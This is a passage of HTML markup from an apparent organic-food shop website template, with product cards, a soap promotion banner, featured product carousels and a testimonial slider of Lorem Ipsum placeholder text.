                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/16.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/16.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Kiwi Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Protuct Area End -->
        <!-- Banner Area Start -->
        <div class="banner-area banner-one-area bg-2 fix pt-60 pb-80">
            <div class="container">
                <div class="row">
                    <div class="col-lg-6 d-flex align-items-center">
                        <div class="banner-text pt-15">
                            <h3>Cold Process <span>Organic</span></h3>
                            <h1>Savon Stories</h1>
                            <h2>
                                <img src="assets/img/icon/mark.png" alt="">
                                <span>Buy 1 get 1 free</span>
                            </h2>
                            <p>Typi non habent claritatem insitam, est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius.</p>
                            <a href="shop.html" class="default-btn">shop now</a>
                        </div>
                    </div>
                    <div class="col-lg-6">
                        <div class="banner-image-wrapper">
                            <div class="banner-image">
                                <img src="assets/img/banner/1.jpg" alt="">
                            </div>
                            <div class="banner-image-text">
                                <h4>organic savon stories</h4>
                                <p>We believe that healthy eating, clean air, and gentle character is the best start to genuine wellbeing.</p>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Banner Area End -->
        <!-- Featured Area Start -->
        <div class="featured-area bg-3 pt-105 pb-90">
            <div class="container">
                <div class="row">
                    <div class="col-lg-4 col-md-6">
                        <div class="featured-carousel-wrapper">
                            <h3>Organic <span>new arrivals</span></h3>
                            <div class="feaured-carousel">
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/4.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Radiant Tee</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$241.99</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/17.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm Fresh Beet</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$98.99</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/7.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Orange Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$68.00</span> 
                                                <span class="old-price">$74.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/15.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Orange</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$123.00</span> 
                                                <span class="old-price">$74.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/1.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Grape</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$675.99</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/2.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Banana</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$76.53</span> 
                                                <span class="old-price">$78.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/3.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Capsicum</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/5.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$22.00</span> 
                                                <span class="old-price">$23.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/6.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Coconut</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.56</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/7.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Orange Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.43</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/8.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Pineapple</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/9.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$32.00</span> 
                                                <span class="old-price">$36.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-4 col-md-6">
                        <div class="featured-carousel-wrapper">
                            <h3>Organic <span>bestseller</span></h3>
                            <div class="feaured-carousel">
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/10.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$64.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/12.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm Fresh Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.54</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/13.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Peas</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$45.00</span> 
                                                <span class="old-price">$46.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/14.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$34.00</span> 
                                                <span class="old-price">$35.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/16.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Kewe's Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$53.43</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/18.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Vegetables</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                                <span class="old-price">$58.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/19.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Tomato</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$67.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/1.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$55.00</span> 
                                                <span class="old-price">$57.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/2.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Banana</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$65.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/3.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Capsicum</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/5.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm's Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/9.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$32.00</span> 
                                                <span class="old-price">$36.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-4 col-md-6">
                        <div class="featured-carousel-wrapper">
                            <h3>Organic <span>most viewed</span></h3>
                            <div class="feaured-carousel">
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/5.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm's Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/9.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$32.00</span> 
                                                <span class="old-price">$36.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/6.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Medium Coconut</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/14.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Onion</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$34.00</span> 
                                                <span class="old-price">$35.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/12.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Strawberry Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$53.43</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/1.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Large Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$55.00</span> 
                                                <span class="old-price">$57.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/2.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Banana</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$65.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/3.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Capsicum</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                                <div class="single-featured-carousel">                                    
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/18.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Fresh Vegetables</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$43.00</span> 
                                                <span class="old-price">$58.00</span>
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/19.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Red Tomato</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$67.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/10.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o color"></i>
                                            </div>
                                            <h5><a href="shop.html">Juicy Grapes</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$64.00</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                    <div class="single-featured-item">
                                        <div class="feature-image">
                                            <a href="shop.html"><img src="assets/img/featured/12.jpg" alt=""></a>
                                        </div>
                                        <div class="product-text">
                                            <div class="product-rating">
                                                <i class="fa fa-star-o color"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                                <i class="fa fa-star-o"></i>
                                            </div>
                                            <h5><a href="shop.html">Farm Fresh Juice</a></h5>
                                            <div class="pro-price">
                                                <span class="new-price">$54.54</span> 
                                            </div>
                                            <a href="#" class="feature-cart"><i class="icon icon-FullShoppingCart"></i></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Featured Area End -->
        <!-- Testimonial Area Start -->
        <div class="testimonial-area pt-110 pb-95">
            <div class="container">
                <div class="testimonial-slider-wrapper">
                    <div class="text-carousel text-center">
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>This is Photoshops version  of Lorem Ipsum. Proin gravida nibh vel velit.Lorem ipsum dolor sit amet, consectetur adipiscing elit. In molestie augue magna. Pellentesque felis lorem, pulvinar sed ero..</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat.</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat Lorem ipsum dolor sit amet, consectetur adipisicing elit.</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>This is Photoshops version  of Lorem Ipsum. Proin gravida nibh vel velit.Lorem ipsum dolor sit amet, consectetur adipiscing elit. In molestie augue magna. Pellentesque felis lorem, pulvinar sed ero..</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat.</p>
                        </div>
                        <div class="slider-text">
                            <span class="testi-quote">
                                <img src="assets/img/icon/quote.png" alt="">
                            </span>
                            <p>Reprehenderit tenetur rerum maiores eos fugit dolores neque eius ex eum quo, quis aspernatur odio accusantium architecto, amet repellat Lorem ipsum dolor sit amet, consectetur adipisicing elit.</p>
                        </div>
                    </div>
